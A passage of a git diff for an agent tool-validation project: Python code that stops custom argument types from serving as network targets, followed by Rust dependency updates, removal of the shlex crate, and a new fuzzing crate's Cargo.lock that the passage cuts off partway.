NETWORK_TARGET_TYPES: + raise ValidationError( + f"argument '{arg_def.name}' uses custom type '{arg_def.type}' as a " + f"network target; custom types cannot carry block_internal — use " + f"the built-in {custom.base} type" ) - return handler(synthetic, str(value)) + return ArgDef( + name=arg_def.name, + position=arg_def.position, + required=arg_def.required, + type=custom.base, + description=arg_def.description, + default=arg_def.default, + allowed=custom.allowed or arg_def.allowed, + pattern=custom.pattern or arg_def.pattern, + min=custom.min if custom.min is not None else arg_def.min, + max=custom.max if custom.max is not None else arg_def.max, + min_float=custom.min_float if custom.min_float is not None else arg_def.min_float, + max_float=custom.max_float if custom.max_float is not None else arg_def.max_float, + clamp=arg_def.clamp, + sanitize=arg_def.sanitize, + schemes=arg_def.schemes, + scope_check=arg_def.scope_check, + allow_leading_dash=arg_def.allow_leading_dash, + allow_whitespace=arg_def.allow_whitespace, + ) - # Not a custom type, use standard validation - return validate_arg(arg_def, value) + +def validate_arg_with_custom_types( + arg_def: ArgDef, + value: Any, + custom_types: Dict[str, "CustomTypeDef"], +) -> str: + """Strict-mode form of ``validate_arg_with_custom_types_mode``.""" + return validate_arg_with_custom_types_mode(arg_def, value, custom_types, exec_mode=False) diff --git a/rust/Cargo.lock b/rust/Cargo.lock index 2334546..52dac7f 100644 --- a/rust/Cargo.lock +++ b/rust/Cargo.lock @@ -72,9 +72,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.102" +version = "1.0.104" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" [[package]] name = "atomic-waker" @@ -421,9 +421,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.4.13" +version = "0.4.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54" +checksum = "7d29020232d6aa3fb1daca64c1127cf662cf97f254ae16c18c05b8ab635fc118" dependencies = [ "atomic-waker", "bytes", @@ -1061,9 +1061,9 @@ dependencies = [ [[package]] name = "rustls" -version = "0.23.37" +version = "0.23.45" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634" dependencies = [ "once_cell", "rustls-pki-types", @@ -1083,9 +1083,9 @@ dependencies = [ [[package]] name = "rustls-webpki" -version = "0.103.10" +version = "0.103.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "df33b2b81ac578cabaf06b89b0631153a3f416b0a886e8a7a1707fb51abbd1ef" +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2" dependencies = [ "ring", "rustls-pki-types", @@ -1438,7 +1438,6 @@ dependencies = [ "serde", "serde_json", "sha2", - "shlex", "toml", "uuid", ] diff --git a/rust/Cargo.toml b/rust/Cargo.toml index c092e9c..3184b97 100644 --- a/rust/Cargo.toml +++ b/rust/Cargo.toml @@ -10,6 +10,7 @@ homepage = "https://github.com/ThirdKeyAI/ToolClad" readme = "../README.md" keywords = ["ai", "agents", "tools", "security", "mcp"] categories = ["command-line-utilities", "development-tools"] +exclude = ["fuzz"] [[bin]] name = "toolclad" @@ -28,6 +29,5 @@ sha2 = "0.10" chrono = { version = "0.4", features = ["serde"] } uuid = { version = "1", features = ["v4"] } regex = "1" -shlex = "1" libc = "0.2" reqwest = { version = "0.12", features = ["blocking"] } diff --git a/rust/fuzz/.gitignore b/rust/fuzz/.gitignore new file mode 100644 index 0000000..1a45eee --- /dev/null +++ b/rust/fuzz/.gitignore @@ -0,0 +1,4 @@ +target +corpus +artifacts +coverage diff --git a/rust/fuzz/Cargo.lock b/rust/fuzz/Cargo.lock new file mode 100644 index 0000000..de6cde8 --- /dev/null +++ b/rust/fuzz/Cargo.lock @@ -0,0 +1,1930 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aho-corasick" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c982642fa9e8606056828ee9a8505737230110bb1099153c79efe865c59d12ba" +dependencies = [ + "memchr", +] + +[[package]] +name = "android_system_properties" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae221649c9976a6f6c56ae1facf410f3ddb33cc661c4b7b61020a912d4237fbc" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "arbitrary" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bc62ac97cc33321f50863d514c3bc38a453947a8f9e781137e47c7401020aed" + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "base64" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" + +[[package]] +name = "bitflags" +version = "2.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cc" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f74872d07caf508b30a21f6836e7d7016a2eaf7d9ff4f48deaa58cd8a0407630" +dependencies = [ + "find-msvc-tools", + "jobserver", + "libc", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "chrono" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327" +dependencies = [ + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-link", +] + +[[package]] +name = "clap" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa8876b300ab35ba921adea3dfd70157a46249b33f95c9084ae5709785478946" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0797fb7aeb1406c84efac526901f7ec3ead2124f946b494e72879d4b54704d" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9c751b79415d4e559e3d1fcf128e09e720eb673a06d26cf6f392d37d75b66e0" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "clap_lex" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c133bc6a41be0d194c306b5506d15e6feeea7b1d6604bd3f8310dfb2ca96486" + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "core_detect" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f8f80099a98041a3d1622845c271458a2d73e688351bf3cb999266764b81d48" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "displaydoc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6232dd377dcc64799954cbd3a9bb882e9cdc1308ccd87b1c098f1fb2eaf82a8" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "encoding_rs" +version = "0.8.42" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e985e0451871ad22fb8d2b6b076e2028a502a0d3950998c2c5c0a4f9b5d9679" +dependencies = [ + "cfg-if", + "core_detect", + "multiversion_no_op", + "rustversion", + "scopeguard", + "simdutf8", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "find-msvc-tools" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aedcfb3409746eddb02b9e19ebda1c3394f759a152e48ee875a0844d1b955484" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f9e3d69d39e4862ffed03ed071a76f9a13ba1d9109d355b0f0aa6b15e393c4" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-io" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53c0fa8157de1303bfffdaa1cc2a673bfffb60102f76b0ef4441659124373fed" + +[[package]] +name = "futures-sink" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1944426bf7d03f1d14f708785e4b33efd750b36d48a157b836b3efc15ede8e1d" + +[[package]] +name = "futures-task" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" + +[[package]] +name = "futures-util" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" +dependencies = [ + "futures-core", + "futures-io", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi", +] + +[[package]] +name = "h2" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d29020232d6aa3fb1daca64c1127cf662cf97f254ae16c18c05b8ab635fc118" +dependencies = [ + "atomic-waker", + "bytes", + "fnv", + "futures-core", + "futures-sink", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "http" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "918d3568bebf352712bc2ef3d46a8bcf1a75b373be6539de198e9105cbbf9ce0" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca2a8f2913ee65f60facd6a5905613afaa448497a0230cc41ce022d93290bc2c" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23169fe34a5fbcdd3f3862e78fb9b6fccd5f02a6dc6f732547005d45631ce71c" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "hyper" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c3e324da4c95177d6291d4c8730197c0d1822f8a9766814a4a44fa5ab797c9c" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "h2", + "http", + "http-body", + "httparse", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfa8e654703247911e29c23fbeaa261834bd9bb74efba2f9acddc37bfb127f53" +dependencies = [ + "http", + "hyper", + "hyper-util", + "rustls", + "tokio", + "tokio-rustls", + "tower-service", +] + +[[package]] +name = "hyper-tls" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70206fc6890eaca9fde8a0bf71caa2ddfc9fe045ac9e5c70df101a7dbde866e0" +dependencies = [ + "bytes", + "http-body-util", + "hyper", + "hyper-util", + "native-tls", + "tokio", + "tokio-native-tls", + "tower-service", +] + +[[package]] +name = "hyper-util" +version = "0.1.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddc03d96684f9226b8a787cdb71488417b53ab5ea8fdb1dac946cb9431cc8bff" +dependencies = [ + "base64 0.23.1", + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "httparse", + "hyper", + "ipnet", + "libc", + "percent-encoding", + "pin-project-lite", + "socket2", + "system-configuration", + "tokio", + "tower-service", + "tracing", + "windows-registry", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "icu_collections" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa68d21081c4a05d5a901a1c62add574c77048b6a1c67be3b50ce0b60d4ca513" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d56e28588da92eee5c3201a6eff33fabdd49b62269c8938d4ff050ce4d900deb" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12f9cf5f235641ed274641dd81c3f28d870e276763d0797aeeab72317b1c646f" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1563da1ed3e0b3bf3d74c9b85917ac9c56464d2f57242270c09c9e752f8021a0" + +[[package]] +name = "icu_properties" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e7ca276ad3145661a65914e6daf131ca5120cd3dcee8f8f3214b8875184a148" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e590f038c1464a96894fd6d10127e90a8be4509f56ff7ecef851b15cee0b7caa" + +[[package]] +name = "icu_provider" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d27bbb9d3abbefac45d55f647c9de1d44aafcd1186eb91879afef17c396c3e73" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb68373c0d6620ef8105e855e7745e18b0d00d3bdb07fb532e434244cdb9a714" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "ipnet" +version = "2.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0" + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "jobserver" +version = "0.1.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c00acbd29eabad4a2392fa0e921c874934dbbf4194312ad20f04a0ed67a3cb3" +dependencies = [ + "getrandom 0.4.3", + "libc", +] + +[[package]] +name = "js-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7883d941dae510fb2d978fc3fe018c71c9e2892fd38854de3e8b92c2e5ad9cc5" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "libc" +version = "0.2.190" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce5d3ddc6d3fa000eb1536d85e147bfe31aacaba692ed6a876f95cb7c855be78" + +[[package]] +name = "libfuzzer-sys" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9fd2f41a1cba099f79a0b6b6c35656cf7c03351a7bae8ff0f28f25270f929d2" +dependencies = [ + "arbitrary", + "cc", +] + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "litemap" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47d9d19d1d6efa0109d2f65ff4c85cddd50bd572e5a00127ab10987290bcefae" + +[[package]] +name = "log" +version = "0.4.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9f8bd3e56ce4dfc153cf470fffbfa98c7620958b312ca5c3a4b8d5181fd13c6" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mio" +version = "1.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1788edb87fdc09c7e26304471e2f5be8cdefb1b6930d6e3985fc02ff53bf86ee" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "multiversion_no_op" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "743fb55ba31b18fb1ecef6bdc9aa2743314978ac084044301a7eee33fb99a20d" + +[[package]] +name = "native-tls" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "465500e14ea162429d264d44189adc38b199b62b1c21eea9f69e4b73cb03bbf2" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "openssl" +version = "0.10.81" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77823a27f0babb03091cb9ed9ef80af3b39dbc82f97e8fa530374b7dafd87a45" +dependencies = [ + "bitflags", + "cfg-if", + "foreign-types", + "libc", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "openssl-probe" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c87def4c32ab89d880effc9e097653c8da5d6ef28e6b539d313baaacfbafcbe" + +[[package]] +name = "openssl-sys" +version = "0.9.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b47e7e6bb2c38cd930d25a23b40fa52e068c10e85f3e03a7f5ba5aaca5713695" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pkg-config" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6b464fbc74e149a392436b17d523f769e057cb6877f6a5c4618bc6f11800548" + +[[package]] +name = "potential_utf" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d83eb9bc6d8e5cf568e7a1101d60ee05e81ed50ea106026f3d18deeb046d7661" +dependencies = [ + "zerovec", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2" +dependencies = [ + "aho-corasick", + "memchr", + 